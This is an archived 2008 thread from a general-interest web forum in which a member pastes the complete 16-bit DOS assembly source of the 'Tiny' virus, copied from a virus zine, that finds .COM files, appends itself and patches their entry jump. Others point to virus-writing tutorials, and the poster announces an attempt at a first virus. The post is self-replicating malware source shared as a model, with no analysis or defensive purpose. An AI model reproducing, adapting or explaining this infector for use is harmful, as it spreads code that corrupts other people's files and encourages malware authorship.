Kittyradio Forums
Go Back   Kittyradio Forums > real world > computers & technology


Reply
 
LinkBack Thread Tools Display Modes
  #16  
Old 08-30-2008, 08:06 AM
Silvine's Avatar
I'll give it 5!
 
Join Date: Apr 2006
Location: Dead or Alive
Posts: 3,562
Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute
Send a message via MSN to Silvine
.:[ packet storm ]:. - http://packetstormsecurity.org/

This is a link to a virii zine with 32-Bit Assembler code.

data_2e equ 1ABh ;start of virus

seg_a segment byte public ;
assume cs:seg_a, ds:seg_a ;assume cs, ds - code


org 100h ;orgin of all COM files
s proc far

start:
jmp loc_1 ;jump to virus


;this is a replacement for an infected file

db 0CDh, 20h, 7, 8, 9 ;int 20h
;pop es

loc_1:
call sub_1 ;



s endp


sub_1 proc near ;
pop si ;locate all virus code via
sub si,10Bh ;si, cause all offsets will
mov bp,data_1[si] ;change when virus infects
add bp,103h ;a COM file
lea dx,[si+1A2h] ;offset of '*.COM',0 - via SI
xor cx,cx ;clear cx - find only normal
;attributes
mov ah,4Eh ;find first file
loc_2:
int 21h ;

jc loc_6 ;no files found? then quit
mov dx,9Eh ;offset of filename found
mov ax,3D02h ;open file for read/write access
int 21h ;

mov bx,ax ;save handle into bx
mov ah,3Fh ;read from file
lea dx,[si+1A8h] ;offset of save buffer
mov di,dx ;
mov cx,3 ;read three bytes
int 21h ;

cmp byte ptr [di],0E9h ;compare buffer to virus id
;string
je loc_4 ;
loc_3:
mov ah,4Fh ;find the next file
jmp short loc_2 ;and test it
loc_4:
mov dx,[di+1] ;lsh of offset
mov data_1[si],dx ;
xor cx,cx ;msh of offset
mov ax,4200h ;set the file pointer
int 21h ;

mov dx,di ;buffer to save read
mov cx,2 ;read two bytes
mov ah,3Fh ;read from file
int 21h ;

cmp word ptr [di],807h ;compare buffer to virus id
je loc_3 ;same? then find another file

;heres where we infect a file

xor dx,dx ;set file pointer
xor cx,cx ;ditto
mov ax,4202h ;set file pointer
int 21h ;

cmp dx,0 ;returns msh
jne loc_3 ;not the same? find another file
cmp ah,0FEh ;lsh = 254???
jae loc_3 ;if more or equal find another file

mov ds:data_2e[si],ax ;point to data
mov ah,40h ;write to file
lea dx,[si+105h] ;segmentffset of write buffer
mov cx,0A3h ;write 163 bytes
int 21h ;

jc loc_5 ;error? then quit
mov ax,4200h ;set file pointer
xor cx,cx ;to the top of the file
mov dx,1 ;
int 21h ;

mov ah,40h ;write to file
lea dx,[si+1ABh] ;offset of jump to virus code
mov cx,2 ;two bytes
int 21h ;

;now close the file

loc_5:
mov ah,3Eh ;close file
int 21h ;

loc_6:
jmp bp ;jump to original file

data_1 dw 0 ;
db '*.COM',0 ;wild card search string


sub_1 endp
seg_a ends
end start


This is an actual virus. Called the tiny virus. I copied it from the second zine - personally, I dunno what is happening here - if anyone does know what is happening in this virus please contribute but it's all bollocks to me...

Reply With Quote
  #17  
Old 08-30-2008, 08:09 AM
Silvine's Avatar
I'll give it 5!
 
Join Date: Apr 2006
Location: Dead or Alive
Posts: 3,562
Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute
Send a message via MSN to Silvine
Actually, the above virus is written in 16-bit assembler, after taking a look at the registers being used. I do know a little 16-bit Assembler, but not enough to write a virus, sad to say...
Reply With Quote
  #18  
Old 08-30-2008, 08:48 AM
kesh's Avatar
l'avatar's avatar
 
Join Date: Apr 2006
Location: dwons niggaz hom
Posts: 10,657
kesh has a reputation beyond repute kesh has a reputation beyond repute kesh has a reputation beyond repute kesh has a reputation beyond repute kesh has a reputation beyond repute kesh has a reputation beyond repute kesh has a reputation beyond repute kesh has a reputation beyond repute kesh has a reputation beyond repute kesh has a reputation beyond repute kesh has a reputation beyond repute
lots of c virus tutorials out there

How To Create A Computer Virus | Learn How To Hack

the writing in red at the bottom of the page kind of proves my original point
__________________
marzipan marzipan marzipan marzipan
Reply With Quote
  #19  
Old 08-30-2008, 08:59 AM
Registered Member
 
Join Date: Apr 2007
Location: Ireland
Posts: 2,660
Mikerochip has a reputation beyond repute Mikerochip has a reputation beyond repute Mikerochip has a reputation beyond repute Mikerochip has a reputation beyond repute Mikerochip has a reputation beyond repute Mikerochip has a reputation beyond repute Mikerochip has a reputation beyond repute Mikerochip has a reputation beyond repute Mikerochip has a reputation beyond repute Mikerochip has a reputation beyond repute Mikerochip has a reputation beyond repute
Send a message via MSN to Mikerochip
you can write a virus in any language on any system.
(providing the language is low level / detailed enough)
Reply With Quote
  #20  
Old 08-30-2008, 09:55 AM
Silvine's Avatar
I'll give it 5!
 
Join Date: Apr 2006
Location: Dead or Alive
Posts: 3,562
Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute
Send a message via MSN to Silvine
Thanks for the example, kesh. It gives inspiration to noob virus writers like my self that a virus can be written in C rather than Assembler. I'm attempting my first virus now
Reply With Quote
Reply

Tags
bar , start , task

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
The Croatian Thread 2 quince foreign language 1220 01-01-2008 10:24 AM
tl;dr cjohnson2492 the void 10 01-01-2008 04:11 AM

 
Forum Stats
Members: 16,666
Threads: 48,541
Posts: 1,285,026
Total Online: 72

Newest Member: goldbaker88

Follow Kittyradio

Latest Threads
- by Sophia_



All times are GMT -7. The time now is 04:33 AM.

Top

Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.2

Site content: Copyright © 2006-2008 kittyradio.com
Any unauthorized usage and/or quotations from this site on other web sites
or in the press are copyright violations and will be pursued as such.
Violators will be prosecuted under United States copyright laws.